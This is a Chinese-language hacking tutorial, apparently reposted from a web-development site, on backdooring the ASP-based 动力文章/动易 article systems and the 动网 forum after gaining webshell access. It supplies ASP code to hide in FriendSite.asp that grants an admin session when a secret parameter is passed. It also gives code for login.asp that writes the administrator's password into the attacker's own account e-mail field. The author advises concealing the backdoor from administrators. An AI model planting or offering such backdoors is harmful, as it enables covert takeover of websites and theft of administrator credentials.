图一 其实动力文章系统的所有版本全部通杀,包括动易。大家可以自己实践一下。
我们先来看一下它的验证内容。动力文章3.51的验证页面在Admin_ChkLogin.asp,其验证内容如下:
............ else rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR") rs("LastLoginTime")=now() rs("LoginTimes")=rs("LoginTimes")+1 rs.update session.Timeout=SessionTimeout session("AdminName")=rs("username") rs.close set rs=nothing call CloseConn() Response.Redirect "Admin_Index.asp"前面省略号是用户名密码不正确的验证,直到else,看一下,如果用户名密码正确就给你两个session值:
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
我们在看一下其他管理页面是怎么验证session的,admin_index.asp一开始就这样:
看起来似乎很严密,但是我们看一下,它这里值验证一个AdminName的session,只要我们的session内容是AdminName的话不就可以通过了?好,我们开工,先去弄到它的管理员账号再说,这个不要我教你了吧?到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下,我找一个比较没人而内容较多的页面FriendSite.asp(友情链接页面)来改,呵呵,这样管理员也很难查得出来啊。用asp木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话:
(本文来源于图老师网站,更多请访问http://m.tulaoshi.com/webkaifa/)
dim id id=trim(request("qwe")) if id="120" then session("AdminName")="admin" ‘这里是假设的,实际操作中可以改成你想要得管理员账号
end if
我简单说一下这句话的意思,就是说从地址栏取得hehe的值,如果hehe=120的话,那么系统就给我们一个值为admin的session。好了,我们输入看一下,图二:
图二
看到有什么异常吗,没有吧?还是正常页面,但是我们接着在地址栏中输入它的后台管理首页看看,是不是进去了?图三:
图三
呵呵,别做坏事哦............
小结一下:我们先找到弄到管理员账号,然后找到它的验证页面,根据它的验证内容来写入我们要的后门。不同的系统有不同的验证方式,比如青创文章系统它不但要验证你的用户名还要验证等级,但是我们总体思路还是一样,就是他验证什么我们就加入什么。
码窃探篇
可以说上述方法在动网论坛或者其他论坛面前是苍白无力的,因为一般论坛由于交互性较强,所以在验证上考虑了很多。以动网为例,你要登录后台,他先验证你有没有先登录了前台,没有的话就给你返回一个错误页面。你登录前台后系统会给你一个seession来记录你的CacheName和你的ID,然后在你登录后台的时候拿出来比较你前后台身份是否一致,一直就通过,否则kill,面对这样严格的验证,难道我们就没有办法基后台了吗?对,没有了(谁拿鸡蛋扔我?这么浪费。),但是我们可以想新的办法,既然验证这么严格,那么我如果拿着密码光明正大的进去呢?因此,这里一个新的思路就是拿到它的明文密码。什么时候有明文密码呢?对了,就在管理员登录的时候。好,我们就在那里做手脚,把它登录的密码发给我们,然后我们拿和它的密码去登录。呵呵,是不是很像sniffer啊?在下在前几个月刚和好兄弟潜龙在野利用硬件sniffer配合省网安局的人端掉一个非法电影网站,足足4000G的硬盘,几十台服务器,一个字:爽
(本文来源于图老师网站,更多请访问http://m.tulaoshi.com/webkaifa/)好了,我们开始修改它的程序。编辑login.asp,加入以下几句话:
if not isnull(trim(request("username"))) then if request("username")="admin" then sql="update [Dv_Vser] set UserEmail=(select userpassword from [Dv_User] where username='"& request("username")&"') where UserName='aweige'" conn.execute(sql) end if end if
这几句话的意思就是说如果admin(假设的,实际操作中改为你要的管理员名字)登录成功就更新数据库,把他的密码放到我资料的E-mail中。当然,你必须先在论坛里注册一个用户名。结果如图四:
图四
还有,如果是动网7.0以下的默认数据库admin表名和7.0以上有点不一样,所以实际操作中不可生搬硬套。
后记:
对于以上两种方法直到目前为止我还想不出任何比较有效的解决方法,因为你的网站被人家放了马,你根本就没办法去阻止人家去插入,要是谁有好的解决方法记得告诉我。
另外,希望大家不要去搞破坏,那时我真的不愿看到的,也祝所有的网管们好运,希望你们不会碰上craker们。